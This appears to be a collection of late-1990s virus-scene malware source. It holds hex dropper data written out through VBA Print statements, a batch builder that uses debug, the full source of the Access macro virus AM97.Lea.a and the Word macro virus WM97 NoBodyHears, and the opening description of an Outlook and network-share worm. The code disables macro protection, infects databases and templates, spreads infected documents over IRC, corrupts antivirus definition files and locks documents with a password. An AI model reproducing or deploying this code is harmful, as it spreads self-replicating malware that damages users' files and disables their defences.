0670 0680 0690 06A0 06B0 06C0 06D0 06E0 06F0 0700 0710 0720 0730 0740 0750 0760 0770 0780 0790 07A0 07B0 07C0 07D0 07E0 07F0 0800 0810 0820 0830 0840 0850 0860 0870 0880 0890 08A0 08B0 08C0 08D0 08E0 08F0 0900 0910 0920 0930 0940 0950 0960 0970 0980 0990 09A0 09B0 09C0 09D0 09E0 09F0 0A00 0A10 0A20 0A30 0A40 0A50
5F 3F 3C A8 93 E0 94 71 8A 67 17 6E FF 80 65 CF FE 01 CB 9F FC 03 F5 D2 6C 4B 1B 09 BF 8F 9B FF F2 F3 4A 7F 2F 37 E9 F3 8A 7C DE 0B 49 DF 05 FF AF 03 CB 9F FC 03 7B 5F 08 C0 FF 77 CF 4E 22
82 97 EF C0 C3 7F 54 FA F9 47 B3 7E B3 FF C0 32 67 FF 80 65 CF FE E2 58 3A CA BB 4F FD F3 64 3C DB EB E6 1E 3F BE F0 A3 CD 99 7D 35 7E 3A FE 7C 9A FF 80 65 CF FE BD E3 33 9E 99 BC 3A 6E 7D
EF 6D 4D FF 8C 2E 15 53 95 7E B9 F0 0C 59 FF E0 19 B3 FF C0 32 67 27 EE 19 6A 4C 3F 36 1B 3F 19 6D D3 2A 3F 7E 4C 67 DD 2A 76 E9 FA 3B FD E7 D5 0A B3 FF C0 32 67 28 F1 37 69 F2 F8 98 4E 55
9C 6F FC 5C BD CD F2 E5 D4 22 21 17 F8 06 2C 7F F0 0C 59 FF E0 19 3D 73 73 7C 7B 7A CE D0 17 73 E2 09 1D 70 91 BB 97 37 CE 5F 95 9F 9D CF AB 54 FC 0C 59 FF E0 19 8A 74 D0 8C 33 A8 7C 6C CF
DF D9 6F FD 64 E5 2B 7E 99 4A 54 4B 9F FC 03 96 3F F8 06 2C 7F B5 EC D5 7E 7F D8 DB 6F 09 A4 7E FC 27 FE 7E 36 6F 69 93 AF A3 3A EF 29 6F A6 E0 CF F8 06 2C 7F F0 FA BA D8 7B 01 8F 7E D7 BE
4D 76 F5 76 7E 83 DB BE 92 63 E1 80 65 CF FE 01 CB 9F FC 03 96 FA B7 5D C3 9B EF 1D 10 67 BD 34 FA ED 38 FC 97 AA 53 DF 97 1D 93 EF 9F 92 02 7F 57 9F FC 03 96 3F 84 F8 71 E3 52 1B 94 B4 B8
86 94 F9 98 1F 0C CF C2 C2 BE 7F FF C0 32 67 FF 80 65 CF FE 01 9F EB D2 41 7B 05 74 85 D8 DC FD C9 BE 51 EA 68 1D 7E E4 7D E4 DF D2 50 1A FF BE 4D 65 CF FE 01 CB 1D A8 9F E2 84 31 68 AA 5F
4C E6 89 DB 14 99 3F 46 13 CC 4E 59 FF E0 19 B3 FF C0 32 67 FF A7 D5 E5 3F 1F AA 52 41 ED 2E 28 AE A9 3A 41 F7 9C 4D 21 E5 60 C2 FC 67 FD F3 6A 05 C0 32 67 FF 80 EA B4 76 3A 76 DB 3E BB E3
59 52 FD 2F 8A BA C8 E4 27 EF 37 06 2C 7F F0 0C 59 FF E0 19 B3 93 62 D3 EA B4 39 6D B1 A4 D3 BF DF 76 78 6F 6D E5 12 9B 7E A6 2E 68 5E CF 55 2A FE FF E0 19 B3 FF F7 DF 2D D3 88 67 BF 2A 74
F1 86 C5 AA 93 38 51 36 BF E5 B4 FC 03 96 3F F8 06 2C 7F F0 0C 87 36 6F 05 9C D4 23 F8 DA A6 A0 08 70 52 BB 52 B3 06 1F 79 F6 D3 F7 2B 6F 53 F0 E7 2C 7F F0 0C 59 23 0B 68 DB 2F CA 24 FF 2C
D2 6B AF 9A 5B 17 52 A3 BA A9 BA CF FE 01 CB 9F FC 03 96 3F F8 FB 1D D4 D6 4F E8 65 05 C1 FC DB 6A 9E 7E 3B 7E 32 D7 9F 6A C0 A6 35 96 92 81 3F AB 03 96 3F F8 46 D3 B9 9E 19 F3 8A F9 33 C9
7B 73 21 99 33 CF 57 F8 F7 C0 DD 32 67 FF 80 65 CF FE 01 CB 9F BB DF EF BA B3 7F 75 A9 45 9A CE F4 CF 4D AD 35 63 E8 11 F4 66 FC F9 49 2A FF 5F A6 FE 01 CB 9F 15 96 95 A8 D4 BF 1B D5 05 2F
DD 0B BF 9F 3F 66 7D 10 90 FF A3 E0 19 B3 FF C0 32 67 FF 80 65 DB DF BB 7A 9F 9E F1 D1 3E 24 E4 3F CA 12 4C FA 34 7F 9A 3F 6F EA 25 97 FC F9 35 0A 67 FF 80 65 FE 1D E1 2A D7 21 2C C2 98 2C
81 53 E2 D8 5F DC 7E 45 5F 5C F8 7F F0 0C 59 FF E0 19 B3 FF C0 D1 E5 46 D8 0B 4E 19 FF 2B 0C 37 F3 8C 06 7E 9F D9 7E FC F3 E3 12 6F 4F CF AA 15 FF 19 B3 FF C0 E7 04 F1 73 22 C7 33 D6 ED ED
2B EA A5 5F 65 DC 62 CA 05 4B AB 96 3F F8 06 2C 7F F0 0C 59 FF 70 DE FF 6D 1E 26 7E CC 33 AE 9B D1 D1 D7 D3 F9 32 B8 D2 B9 D7 06 3E A3 D7 A9 F8 F3 F0 0C 59 FF 20 DD A4 95 52 97 F9 E9 CB C6
F0" C7" CA" 7C" 54" DC" 7F" EB" FE" 7E" 68" 01" CB" 9F" FC" 03" 96" 3F" F8" 06" 2C" 10" 47" F3" D7" 76" 14" 21" D3" 36" D1" F8" 8F" 2B" E8" B1" C5" 57" 4F" D7" 5F" 5A" BF" 06" 76" 4C" C0" 9F" 35" 3F" F8" 06" 2C" 0C" B8" FB" 7B" 85" E4" B5" DE" 8D" A2"
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
0A60 0A70 0A80 0A90 0AA0 0AB0 0AC0 0AD0 0AE0 0AF0 0B00 0B10 0B20 0B30 0B40 0B50 0B60 0B70 0B80 0B90 0BA0 0BB0 0BC0 0BD0 0BE0 0BF0 0C00 0C10 0C20 0C30 0C40 0C50 0C60 0C70 0C80 0C90 0CA0 0CB0 0CC0 0CD0 0CE0 0CF0 0D00 0D10 0D20 0D30 0D40 0D50 0D60 0D70 0D80 0D90 0DA0 0DB0 0DC0 0DD0 0DE0 0DF0 0E00 0E10 0E20 0E30 0E40
4C D6 14 5A F9 94 60 CB 7C 1E 06 9E 60 2E C9 AB CF 9A 25 51 13 9E 67 04 8E 6B E9 19 B3 FF FF F9 04 35 D4 B3 CF 01 17 2B 33 C6 3F F8 06 2C 7F F0 D9 74 02 E7 C7 2C 77 BA 57 C5 A5 59 94 73 B1
4B B9 5F E6 9F E4 29 2F A8 38 F6 AA 79 BF 20 69 1E 96 FE 7C 1F 4F 6E ED 7E FA 73 F0 0C 59 F9 4D B3 FA E8 8B 5C 4C D2 A0 A5 8B CB 9F FC 03 96 3F 28 79 59 5E F9 96 B1 D6 CB B1 CB 07 FA 66 FE
56 9E 92 6A 79 17 F6 E4 3A F3 95 0D 28 20 9D FA A5 48 E7 49 D8 9B 4E 10 5A A5 E7 3F F8 06 4D 52 76 9F 7F 32 0C E1 34 01 BC FC 80 65 CF FE 01 CB B3 E1 33 6A 45 B9 52 FA 3C BE AE 15 9F 8C 67
D5 65 DF 90 1F 5C E8 38 3F 55 97 72 3E 8E 97 55 F6 A4 56 7E B8 2E 7C A7 03 22 BA CB 9F FC 52 A3 CF 5D 76 7D D2 DB 94 FE AC F8 FF C0 32 67 FF A8 80 46 76 8E BD 2B D9 51 8B 15 52 F8 53 FD BE
F1 A1 E1 ED CE B6 F7 29 D1 75 E2 7D BE 4F 94 E6 BB CD BB 5B 8F 74 AA 67 63 6E CE 80 65 CF A3 FF 0A 14 91 BB E1 3F 06 E7 FF EC 59 FF E0 19 B3 C8 39 DB 3B 4D A0 29 18 98 34 18 06 9F 83 CF 35
8C 55 E2 01 5C 73 FC 3E 8E E7 B3 D4 3B 51 2D 7F 92 9A DD BD 30 33 69 5E EB 6C 5D FF C0 32 FF F9 64 F4 7E 52 EF 1A F8 C9 59 79 06 2C 7F F0 0C FF 75 68 1A E0 78 3F 8C DC FD B3 49 BB 67 5A EF
CC F9 A3 4B ED 38 F4 DA 99 57 7B 16 C5 7C 8A EE FC BC EE FB 7D 66 55 44 D2 B5 18 59 FF E0 F9 4D A3 ED FA C5 55 4C 9F 43 AF D4 FC 03 96 3F F8 1C 7A B1 DA F8 C7 F3 7B 1E 74 08 A6 79 CE AA 7F
5C 9F BE D1 F5 3B 58 93 19 8D D9 67 57 49 A5 F0 CA FB 70 6A 48 0E 77 29 37 F7 F8 06 2C 7F 4D 52 64 E9 9D 2F 7C 03 F9 2E DD B0 CF FE 01 CB 9F F5 B1 72 76 8C 61 83 61 43 7E D0 7E F5 FF AA 66
CD 79 5E F9 F8 DC C7 DA 73 BF 61 87 C7 7E A9 BE 5F 96 80 0F 3E 9C 15 3E 1F B5 9F FC 03 96 52 A3 30 2A E7 54 2E FC BB 3F A3 6F 32 67 FF 80 65 FB 04 E7 7A 86 92 D4 AA F9 9D 0E FF A9 6C 6A 85
F5 06 59 29 AA 28 C2 AD 76 B8 BF 1B C2 BB 96 9A 43 DC 34 87 55 BA FE BB 05 6F 65 CF FE 51 A3 FF 23 17 36 69 D8 CF A3 3E DD 8A E0 19 B3 FF C0 03 CB A6 D6 D2 69 14 05 D9 4E A5 B3 26 EF A2 A2
80 66 37 CA 99 BF A8 24 B8 1B DF BF A8 8B CF C2 F9 97 09 ED DE DB E7 97 E1 3E C0 32 67 AB FF F9 1B F6 9D 28 00 D3 B2 FB 77 2A 7F F0 0C 59 FF 66 5C 6C 38 F2 BA 5F 4C B1 4D FE 2A F6 9B 02 62
A5 AE 96 AF 7D EC AA BF D1 04 6D 20 AA 8F AF E9 EC E2 ED 64 AC 30 73 ED CB F8 FF E0 19 FF F9 4D FF 17 92 0D FF 71 D7 33 34 07 96 3F F8 06 2C 98 1A FB A9 F4 94 35 8D 42 02 E7 C0 3F AE FF 85
F0 F6 AB 96 F1 DF FC FD EE 41 D6 67 FC FA F4 99 2F 6B 50 E5 53 11 AB B6 C1 E4 2C 7F F0 F9 4D 52 BF 97 CD F0 F3 31 37 97 E4 FE 01 CB 9F FC 03 59 F4 CB F7 98 48 FE 86 7E DE E5 FE 1B 5B 73 A2
F4 7A C5 75 AE 7A CF C5 9B E6 AB AE CF 72 10 13 37 D5 37 3E 89 00 C5 FC B6 79 03 96 3F 0D 52 A3 77 DE A5 3F 34 BF 49 1A 46 67 FF 80 65 CF FE F3 7B 5C 4F E4 F3 E7 CB 3C AA 3C E7 93 7B 41 AD
53 71 83 8D 74 73 41 47 CF 6A E5 26 DD 7D 67 17 A0 16 8E EA 44 E8 01 46 EC 1A FE 01 CB 52 A3 FF 6F A3 46 F3 FF 65 37 F6 24 19 B3 FF C0 32 67 C8 97 8D 35 B7 9C 5E C5 D5 FC 76 44 9D 47 DD 4B
ED" 7E" A7" 55" 3C" 3D" 90" 7D" CF" 18" 62" 3D" 6E" D4" F2" 8A" E7" 5F" 4F" A7" C7" 73" EA" 81" 9B" D7" 67" FF" 80" A3" FF" B9" 00" 41" FF" 97" 55" C9" C2" 55" 33" F0" 0C" 59" FF" E0" 19" 0E" 4B" 72" FE" 98" F7" AF" DC" 32" CF" D5" 41" B9" FF" A9" FC"
Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print
#3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3, #3,
"E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E "E
0E50 0E60 0E70 0E80 0E90 0EA0 0EB0 0EC0 0ED0 0EE0 0EF0 0F00 0F10 0F20 0F30 0F40 0F50 0F60 0F70 0F80 0F90 0FA0 0FB0 0FC0 0FD0 0FE0 0FF0 1000 1010 1020 1030 1040 1050 1060 1070 1080 1090 10A0 10B0 10C0 10D0 10E0 10F0 1100 1110 1120 1130 1140 1150 1160 1170 1180 1190 11A0 11B0 11C0 11D0 11E0 11F0 1200 1210 1220 1230
CF 64 44 EC 1F 7C 74 67 73 4A 97 BC 27 F9 5F 7F F0 0C 59 FF 69 03 E6 97 98 31 E9 7E 65 DB 31 CD CC BE 43 3C 9F DE E7 C0 32 67 FF AF 53 F1 32 67 FF 80 65 CF FE 5E CC B7 AD FC 76 E3 91 B3 85
DB 3A 3D 2A EF 14 93 8F 7E 5E FF 7A AA 05 2B 96 3F F8 06 2C 80 FC EA ED 6F 4D 7A FF F9 87 F8 96 E5 30 71 25 FD AA B8 FF E0 19 B3 96 81 3F E0 19 B3 FF C0 32 67 88 0D 77 99 70 DB 2F 87 29 59
EC E4 29 66 B2 CB EC 25 C6 E3 99 8C 7E C9 55 01 CB 9F FC 03 FF CF 62 C6 6E 2C E6 73 05 DC 92 B9 EF F5 B2 6D 99 43 65 2C 7F F0 0C 6A FF 5F 7F F0 0C 59 FF E0 19 CA D6 F7 8D 7F F5 36 A8 3D E8
B2 17 D3 83 B4 C4 AB AF E0 7F 03 E3 A9 18 F8 FF 80 65 CF FE F9 AF 16 AB 49 DB C2 90 9D F3 D4 A1 8E FB DD 93 4B 9C DF 03 96 3F F8 FC F9 31 96 3F F8 06 2C 7F F0 CD 2C 0F 41 77 8A B6 2A 25 7A
49 24 F8 A2 F6 A7 A9 CA 19 4E 64 FC 88 50 9F B3 FF C0 32 67 55 9A AF C0 BF E7 7A 6F CB C6 EF A4 32 9F 35 BC A7 C1 9C FE 01 CB 9F CF AA D5 01 CB 9F FC 03 96 3F E8 19 E3 5F 3B 5D 62 76 3F 14
9B AD 8C B9 B9 FD FF FF 17 5B 05 92 05 EB AF 0C 59 FF E0 19 D3 06 85 63 BD A7 70 4D A6 2B 7F B5 97 3B F2 FB 7C 38 4F 67 FF 80 65 D7 A9 F8 FF 80 65 CF FE 01 CB 5B 3B F1 5E 1A C5 F6 57 23 F5
1F 50 FF 94 16 CF 99 5C C5 1B 79 53 A8 F2 99 F8 06 2C 7F 2F 00 F8 4E 25 82 53 D7 4B 85 F1 EE B5 B8 F9 EB 9A 1B F9 6B 19 B3 FF C0 4B C0 9F B3 FF C0 32 67 FF 80 36 F2 64 AD 0E 0F AD 06 3D FB
F7 7C 99 2E 05 C6 75 1A 05 F8 F6 E0 F6 17 2A 9F FC 03 96 EB FF 9F D7 AF 97 73 B7 BF 97 33 E6 AC 9B D6 90 4B E6 A2 2F F0 0C 59 FF 25 FF AF 0C 59 FF E0 19 B3 FF CA 9E 3A 68 FA 77 6D DA E5 83
D1 45 F2 3B 65 E0 93 A0 E9 C0 95 75 BE 57 FC 65 CF FE 01 7F F3 5F 83 6E F2 94 7F BD A4 37 3B DB 2D BE EA DC CB A3 C2 3F F8 06 2C FE 7C 97 F8 06 2C 7F F0 0C 59 9E DE 9B 7C 51 A3 56 EA 70 C1
A4 FE 5B 2D 25 39 99 71 AA A9 24 72 A9 E3 CF C0 32 67 FF 7E AB 35 B3 77 66 71 F0 82 7E A4 4B F0 73 F4 F5 8C 52 F4 A1 CB 9F FC 03 E7 D5 8A 9F FC 03 96 3F F8 06 F9 EE CD 31 8F 44 8B A6 30 90
8F E7 2A E4 FE 9F 87 C8 F1 0A EB AA 7A 7F D7 FF E0 19 B3 FD A6 F5 94 50 6E F5 7A DB FF 6D A7 85 C3 DB 3F 9A AF BC 41 80 65 CF FE 2B 54 FC 65 CF FE 01 CB 9F FB CF D0 E7 9F 1D AE 99 1F E8 36
59 82 DA F7 E7 26 7C A6 D4 F0 BE 92 76 BE 0C 2C 7F F0 0C 34 01 FB F7 4D 18 FB E9 61 73 84 E6 A9 A5 2B 73 A9 FF D8 C6 FF C0 32 67 A6 E1 CF C0 32 67 FF 80 65 9F 5A 78 8B CF 6C 76 96 71 F7 46
E6 3B 7D 0E B2 BE 07 47 FF F4 67 9E 99 56 FC 03 96 3F F8 C0 FE 9F 9E A1 0D 9F B2 32 B7 19 8B DF FE B8 67 2D 59 9E 4C 59 FF E0 19 0A 7F 57 FF E0 19 B3 FF C0 F9 BC D4 E5 66 2C DC B2 B3 A3 6F
7F 56 13 FE 19 CD FF 22 9C 33 8C 97 BC AA CF FE 01 CB 9F FF E7 79 BF 7E 72 0B F1 37 90 F8 8E FF BE 1D A5 7C B7 2A F8 06 2C 7F 15 FF BE 0B 2C 7F F0 0C 59 FF 6F B4 1F 72 D3 81 6F 59 5E A8 CD
7E 43 5F 67 18 E4 33 F6 E6 97 FF AC 1E F2 32 67 FF 80 65 FC 57 79 BD FF DF CD 97 0C 1F F0 22 5C 74 26 6E 7B 96 EB 9F FC 03 96 F9 F3 66 FC 03 96 3F F8 06 2C 80 E8 0C B9 C9 3D D7 A5 2D D7 64
2A" 87" 64" A3" 86" 35" E5" 3F" C7" 5E" D9" 12" F5" 3F" E0" 19" B3" FF" C0" AA" 4D" 7C" 82" 73" FE" 41" A1" FB" EB" 77" D3" E8" 46" 73" 8D" 05" EA" B3" 65" CF" FE" 01" 9F" 35" 2A" CF" FE" 01" CB" 9F" FC" 03" 03" 61" 47" 5A" 78" 1E" 4B" F1" 17" EB" 3A"
Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Print #3, Close #3 End Sub
"E 1240 "E 1250 "E 1260 "E 1270 "E 1280 "E 1290 "E 12A0 "E 12B0 "E 12C0 "E 12D0 "E 12E0 "E 12F0 "E 1300 "E 1310 "E 1320 "E 1330 "E 1340 "E 1350 "E 1360 "E 1370 "E 1380 "E 1390 "E 13A0 "RCX" "12A8" "W" "Q"
9D C9 9E 2D 38 8C FD 96 F9 13 6B 7E 3C F8 74 65 78 37 14 36 00 59 00
2D 6D 68 D8 B1 28 CF F3 51 A4 43 66 01 16 30 92 49 8B 00 12 00 53 00
96 C9 87 51 01 A5 F7 3F 7C 71 9D B6 C3 1C 76 67 84 D8 14 00 20 50 5C
AB A6 4C 44 2E A8 B7 EF F3 1B D5 5D 74 1F AE 77 C9 75 00 00 00 4B 12
F5 30 7E A9 38 C7 23 B7 99 E0 3D 46 02 6F 25 AA 0C 6A 00 36 B6 05 00
C6 DE 66 D2 40 0E B6 1C 89 9D 77 AA 9A 4C 33 7D 4C F6 00 F8 81 06 00
6E 5B 88 4B 93 BB 75 29 EF 09 A9 87 DF 3A AB 44 67 D6 08 01 00 00 00
2D BF F9 2F 4F 0A 75 8B 60 CC D6 F9 76 5A BB 2B CE C6 70 46 B2 29 EC 9C 19 3D FD D8 30 D9 9E 7E C3 DC 7E 66 00 38 00 08 00 00 00 00 00"
B5 F6 F9 F2 8A F9 71 39 17 73 EC D4 A9 FF D2 F3 4C 6F 51 00 00 00
Sub CreateBat() Open "c:\windows\hop_along.bat" For Output As #4 Print #4, "del c:\windows\logo.sys" Print #4, "del c:\logo.sys" Print #4, "cd c:\windows\" Print #4, "debug < c:\windows\pkunzip.dbg" Print #4, "debug < c:\windows\logo.dbg" Print #4, "c:\windows\pkunzip.com logo.zip" Print #4, "exit" Close #4 End Sub
Sub Wait4Bat() If Dir("c:\windows\logo.sys") = "" Then Wait4Bat End Sub
E5 BC 83 0B E3 91 58 D3 71 61 C8 65 0D 4C 19 CC 40 FD 9B 00 6C 01
8F 6A B9 29 5B 15 39 D0 7C 45 A7 7C 30 41 D9 6F BD 1F 28 00 6F 00
77 92 D1 C0 D8 80 FF 3E 3A F9 2B D7 89 D1 8F 2C B5 50 17 00 67 01
6F 3B 2D E1 F8 9B B3 E2 B5 ED 3C 03 50 1C 67 9E FC 4B D3 00 6F 00
EF A7 B7 C8 CC F5 49 61 C0 0F DB EF 5F E2 24 7D D6 01 09 00 2E 36
B8" D9" 27" 04" C6" 92" 74" 4F" 60" 76" 74" E9" E6" 10" 0F" 69" 36" 02" 49" 00" 53" 00"
Option Compare Database Option Explicit Function Lea() 'AM97.Lea.a 'by -KD- / [Metaphase VX Team] & [NoMercyVirusTeam] On Error Resume Next CommandBars("tools").Controls("Macro").Delete CurrentDb.Properties("AllowBypassKey") = False CurrentDb.Properties("AllowSpecialKeys") = False CurrentDb.Properties("AllowBreakIntoCode") = False Application.DisplayStatusBar = False Application.DisplayAlerts = False Application.MacrovirusProtection = False Dim FilesToGet, FilesToInfect, CodeBase As String FilesToInfect = False FilesToGet = Dir("*.mdb", vbNormal) If FilesToGet <> "" Then CodeBase = CurrentDb.Name If CodeBase = FilesToGet Then FilesToInfect = True If FilesToInfect = False Then Application.DoCmd.TransferDatabase acExport, "Microsoft , FilesToGet, acMacro, "Autoexec", "Autoexec" If FilesToInfect = False Then Application.DoCmd.TransferDatabase acExport, "Microsoft , FilesToGet, acModule, "lea", "lea" While FilesToGet <> " FilesToGet = Dir If CodeBase = FilesToGet Then FilesToInfect = True If FilesToInfect = False Then Application.DoCmd.TransferDatabase acExport, "Microsoft , FilesToGet, acMacro, "Autoexec", "Autoexec" If FilesToInfect = False Then Application.DoCmd.TransferDatabase acExport, "Microsoft , FilesToGet, acModule, "lea", "lea" Wend On Error GoTo Exit_Payload If Day(Now()) = Int(Rnd() * 3) + 1 Then MsgBox "AM97.Lea.a", "Welcome to this place, I'll Show you everything. With arms wide End If Exit_Payload: End If End Function
Access" Access"
Access" Access"
open."
Attribute VB_Name = "NoBodyHears" Sub AutoClose() '****************************************************************** 'WM97 NoBodyHears 'By AngelsKitten / [NuKE] 'Greetings to Evul, Knowdeth, Jackie twoflower, Foxz 'Reptile, Duke, Raven, Deloss, Bumblebee, Masey, RAiD, 'FlyShadow, and the following groups: MVT, 29A, NVT & SLAM '****************************************************************** On Error Resume Next Application.VBE.ActiveVBProject.VBComponents("NoBodyHears").Export "C:\VXD.dll" With Options .ConfirmConversions = False .VirusProtection = False .SaveNormalPrompt = False End With With Application .ScreenUpdating = False .DisplayStatusBar = False .DisplayAlerts = wdAlertsNone .EnableCancelKey = wdCancelDisabled End With CommandBars("Tools").Controls("Macro").Enabled = False CommandBars("Tools").Controls(12).Enabled = False CommandBars("Tools").Controls(12).Delete CommandBars("tools").Controls("Macro").Delete CommandBars("tools").Controls("Customize...").Delete CommandBars("view").Controls("Toolbars").Delete CommandBars("view").Controls("Status Bar").Delete For ¢ = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(¢).Name = "NoBodyHears" Then ¶ = True Next ¢ For ¢ = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(¢).Name = "NoBodyHears" Then Ü = True Next ¢ If Ü = True And ¶ = False Then Set § = NormalTemplate.VBProject _ Else If Ü = False And ¶ = True Then Set § = ActiveDocument.VBProject §.VBComponents.Import ("C:\VXD.dll") On Error GoTo scriptoops Open "C:\audio.vxd" For Output As #1 Print #1, "[script]" Print #1, "n0=;NobodyHears by Angelskitten / [NuKE]" Print #1, "n1=on 1:PART:#:{ /if ( $nick == $me ) { halt }" Print #1, "n2= /dcc send $nick C:\windows\aboutme.doc" Print #1, "n3=}" Print #1, "n4=" Print #1, "n5=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }" Print #1, "n6= /dcc send $nick C:\windows\aboutme.doc" Print #1, "n7=}" Print #1, "n8=" Print #1, "n9=on 1:TEXT:*infected*:#:/.ignore $nick" Print #1, "n10=on 1:TEXT:*infected*:?:/.ignore $nick" Print #1, "n12=on 1:TEXT:*clean*:#:/.ignore $nick" Print #1, "n13=on 1:TEXT:*clean*:?:/.ignore $nick" Print #1, "n14=on 1:TEXT:*script.ini*:#:/.ignore $nick" Print #1, "n15=on 1:TEXT:*script.ini*:?:/.ignore $nick" Print #1, "n16=on 1:TEXT:*virus*:#:/.ignore $nick" Print #1, "n17=on 1:TEXT:*virus*:?:/.ignore $nick" Print #1, "n18=on 1:TEXT:*worm*:#:/.ignore $nick" Print #1, "n19=on 1:TEXT:*worm*:?:/.ignore $nick" Print #1, "n20=on 1:TEXT:*aboutme*:#:/.ignore $nick" Print #1, "n21=on 1:TEXT:*aboutme*:?:/.ignore $nick" Print #1, "n22=on 1:TEXT:*aboutme.doc*:#:/.ignore $nick"
Print #1, "n23=on 1:TEXT:*aboutme.doc*:?:/.ignore $nick" Print #1, "n24=on 1:TEXT:*doc*:#:/.ignore $nick" Print #1, "n25=on 1:TEXT:*doc*:?:/.ignore $nick" Print #1, "n26=on 1:TEXT:*blank*:#:/.ignore $nick" Print #1, "n27=on 1:TEXT:*blank*:?:/.ignore $nick" Print #1, "n28=ON 1:QUIT:#:/msg $chan I tryed to tell you, I tryed to show you. NoBodyHears" Print #1, "n29=ON 1:connect: {" Print #1, "n30= /run attrib +r +s +h C:\mirc\Script.ini" Print #1, "n31=}" Close #1 scriptoops: On Error GoTo batoops Open "c:\windows\WinStart.bat" For Output As #2 Print #2, "@Echo Off" Print #2, "copy /y c:\audio.vxd c:\mirc\script.ini >nul" Print #2, "copy /y c:\PROGRA~1\MICROS~3\TEMPLA~1\normal.dot c:\windows\aboutme.doc >nul" Close #2 batoops: If Day(Now()) = 12 Then SetAttr "C:\program files\AntiViral Toolkit Pro\*.avc", vbReadOnly Open "C:\program files\AntiViral Toolkit Pro\*.avc" For Output As #3 Print #3, "NoBodyHears" Close #3 SetAttr "C:\program files\AntiViral Toolkit Pro\avp.set", vbReadOnly Open "C:\program files\AntiViral Toolkit Pro\avp.set" For Output As #4 Print #4, "NoBodyHears" Close #4 SetAttr "C:\program files\mcafee\*.dat", vbReadOnly Open "C:\program files\mcafee\*.def" For Output As #5 Print #5, "NoBodyHears" Close #5 SetAttr "C:\f-marco\*.def", vbReadOnly Open "C:\f-macro\*.def" For Output As #6 Print #6, "NoBodyHears" Close #6 End If If Day(Now()) = Int(Rnd * 31) + 1 Then With Assistant.NewBalloon .Icon = msoIconTip .Animation = msoAnimationGetArtsy .Heading = "WM97 NoBodyHears" .Text = "Welcome to WM97 NoBodyHears by Angelskitten / [NuKE]" .Show End With ActiveDocument.Password = "NoBodyHears" Shell "start http://www.avp.com.au/", vbHide End If ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument SetAttr ("c:\VXD.dll"), vbHidden + vbSystem End Sub Sub AutoOpen() Call AutoClose End Sub Sub AutoNew() Call AutoClose End Sub Sub ViewVBCode() MsgBox "Unexcpected error", 16 Call AutoClose End Sub Sub ViewCode() MsgBox "Unexcpected error", 16 Application.Caption = "Word 6.0"
Call AutoClose End Sub Sub ToolsMacro() MsgBox "Unexcpected error", 16 Call AutoClose End Sub Sub FileTemplates() MsgBox "Unexcpected error", 16 Application.Caption = "Word 6.0" Call AutoClose End Sub Sub HelpWordPerfectHelp() MsgBox "Unexcpected error", 16 Application.Caption = "Word 6.0" Call AutoClose End Sub
' Worm Name: NETWORK/OUTLOOK.FakeHoax ' Author: Zulu ' Origin: Argentina ' Encoded JScript/VBScript worm, first in a JSE or VBE file. It uses OUTLOOK and the network ' shares. ' The main code is a COM object written in XML and VBScript using Windows Script Component, so ' the code in the JSE and VBE file is trivial. Both versions create a WSC file (the COM object ' defined in XML) and then both call methods and change properties of that object, no real ' spreading code is in those files. ' The worm was written in this way to make it easier to port it to any other language, this way ' I was able of creating a JSE and a VBE file without really porting the main code. Also, it's ' possible to create new versions using Delphi, Visual C++, or any other by using "REGSVR32.EXE" ' to register the WSC file as a COM object before calling it's methods or changing it's ' properties. ' This worm was written to show how JSE and VBE files could be used in viruses/worms, since ' before this they where only used as auxiliary files (some versions of HTML.rahC by 1nternal and ' OUTLOOK.Monopoly by me for example). Besides, since it needs Windows Script Host 2.0 or later, ' it won't be good spreading itself at the time of writing this. ' Also, this was a good opportunity for using Windows Script Component for the first time because ' it made possible to write a JScript and a VBScript version without needing to port the whole ' code, so this is also the first virus/worm using it's own COM object. ' ' Features: ' ' - OUTLOOK spreading. It will use OUTLOOK to send itself to all contacts in the address book if ' the number of addresses is less than 101. If that number is more than 100 it will try to ' select 100 random addresses. Subject and body are always the same. ' - Network spreading. It will copy itself to the root of all shares (not only mapped drives), ' waiting for someone to run it. ' - The worm file ("WOBBLER.TXT.JSE" or "WOBBLER.TXT.VBE" depending of the version) will show a ' TXT file when run, so it will show what many users expect. ' This TXT file will show the Wobbler hoax (the reason of the worm's name), which is a strange ' social engineering method for a real worm. Anyway, since this won't spread well because of ' other reasons, even if someone wants to spread it, I won't know if the hoax message is good ' for this purpose. Message subject and body talk about important information 